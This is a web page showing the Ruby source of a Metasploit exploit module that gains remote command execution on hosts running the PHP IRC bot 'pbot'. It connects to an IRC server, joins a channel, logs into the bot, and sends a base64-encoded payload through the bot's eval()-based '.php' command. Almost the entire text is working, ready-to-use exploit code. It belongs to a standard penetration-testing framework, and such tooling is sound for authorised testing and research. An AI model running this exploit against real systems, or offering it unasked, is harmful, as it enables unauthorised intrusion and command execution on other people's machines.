Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/pbot_exec.rb
19758 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'PHP IRC Bot pbot eval() Remote Code Execution',
16
'Description' => %q{
17
This module allows remote command execution on the PHP IRC bot pbot by abusing
18
the usage of eval() in the implementation of the .php command. In order to work,
19
the data to connect to the IRC server and channel where find pbot must be provided.
20
The module has been successfully tested on the version of pbot analyzed by Jay
21
Turla, and published on Infosec Institute, running over Ubuntu 10.04 and Windows XP
22
SP3.
23
},
24
'Author' => [
25
'evilcry', # pbot analysis'
26
'Jay Turla', # pbot analysis
27
'bwall', # aka @bwallHatesTwits, PoC
28
'juan vazquez' # Metasploit module
29
],
30
'License' => MSF_LICENSE,
31
'References' => [
32
[ 'OSVDB', '84913' ],
33
[ 'EDB', '20168' ],
34
[ 'URL', 'http://resources.infosecinstitute.com/pbot-analysis/']
35
],
36
'Platform' => %w{unix win},
37
'Arch' => ARCH_CMD,
38
'Payload' => {
39
'Space' => 344, # According to RFC 2812, the max length message is 512, including the cr-lf
40
'BadChars' => '',
41
'DisableNops' => true,
42
'Compat' =>
43
{
44
'PayloadType' => 'cmd',
45
}
46
},
47
'Targets' => [
48
[ 'pbot', {} ]
49
],
50
'Privileged' => false,
51
'DisclosureDate' => '2009-11-02',
52
'DefaultTarget' => 0,
53
'Notes' => {
54
'Reliability' => UNKNOWN_RELIABILITY,
55
'Stability' => UNKNOWN_STABILITY,
56
'SideEffects' => UNKNOWN_SIDE_EFFECTS
57
}
58
)
59
)
60
61
register_options(
62
[
63
Opt::RPORT(6667),
64
OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']),
65
OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']),
66
OptString.new('CHANNEL', [true, 'IRC Channel', '#channel']),
67
OptString.new('PBOT_PASSWORD', [false, 'pbot Password', ''])
68
]
69
)
70
end
71
72
def post_auth?
73
true
74
end
75
76
def check
77
connect
78
79
response = register(sock)
80
if response =~ /463/ or response =~ /464/
81
vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
82
return Exploit::CheckCode::Unknown
83
end
84
85
response = join(sock)
86
if not response =~ /353/ and not response =~ /366/
87
vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
88
return Exploit::CheckCode::Unknown
89
end
90
response = pbot_login(sock)
91
quit(sock)
92
disconnect
93
94
if response =~ /auth/ and response =~ /logged in/
95
return Exploit::CheckCode::Vulnerable
96
else
97
return Exploit::CheckCode::Safe
98
end
99
end
100
101
def send_msg(sock, data)
102
sock.put(data)
103
data = ""
104
begin
105
read_data = sock.get_once(-1, 1)
106
while not read_data.nil?
107
data << read_data
108
read_data = sock.get_once(-1, 1)
109
end
110
rescue EOFError
111
end
112
data
113
end
114
115
def register(sock)
116
msg = ""
117
118
if datastore['IRC_PASSWORD'] and not datastore['IRC_PASSWORD'].empty?
119
msg << "PASS #{datastore['IRC_PASSWORD']}\r\n"
120
end
121
122
if datastore['NICK'].length > 9
123
nick = rand_text_alpha(9)
124
print_error("The nick is longer than 9 characters, using #{nick}")
125
else
126
nick = datastore['NICK']
127
end
128
129
msg << "NICK #{nick}\r\n"
130
msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n"
131
132
response = send_msg(sock, msg)
133
return response
134
end
135
136
def join(sock)
137
join_msg = "JOIN #{datastore['CHANNEL']}\r\n"
138
response = send_msg(sock, join_msg)
139
return response
140
end
141
142
def pbot_login(sock)
143
login_msg = "PRIVMSG #{datastore['CHANNEL']} :.login"
144
if datastore['PBOT_PASSWORD'] and not datastore['PBOT_PASSWORD'].empty?
145
login_msg << " #{datastore['PBOT_PASSWORD']}"
146
end
147
login_msg << "\r\n"
148
response = send_msg(sock, login_msg)
149
return response
150
end
151
152
def pbot_command(sock)
153
encoded = Rex::Text.encode_base64(payload.encoded)
154
command_msg = "PRIVMSG #{datastore['CHANNEL']} :.php #{rand_text_alpha(1)} passthru(base64_decode(\"#{encoded}\"));\r\n"
155
response = send_msg(sock, command_msg)
156
return response
157
end
158
159
def quit(sock)
160
quit_msg = "QUIT :bye bye\r\n"
161
sock.put(quit_msg)
162
end
163
164
def exploit
165
connect
166
167
print_status("#{rhost}:#{rport} - Registering with the IRC Server...")
168
response = register(sock)
169
if response =~ /463/ or response =~ /464/
170
print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
171
return
172
end
173
174
print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...")
175
response = join(sock)
176
if not response =~ /353/ and not response =~ /366/
177
print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
178
return
179
end
180
181
print_status("#{rhost}:#{rport} - Registering with the pbot...")
182
response = pbot_login(sock)
183
if not response =~ /auth/ or not response =~ /logged in/
184
print_error("#{rhost}:#{rport} - Error registering with the pbot")
185
return
186
end
187
188
print_status("#{rhost}:#{rport} - Exploiting the pbot...")
189
pbot_command(sock)
190
191
quit(sock)
192
disconnect
193
end
194
end
195
196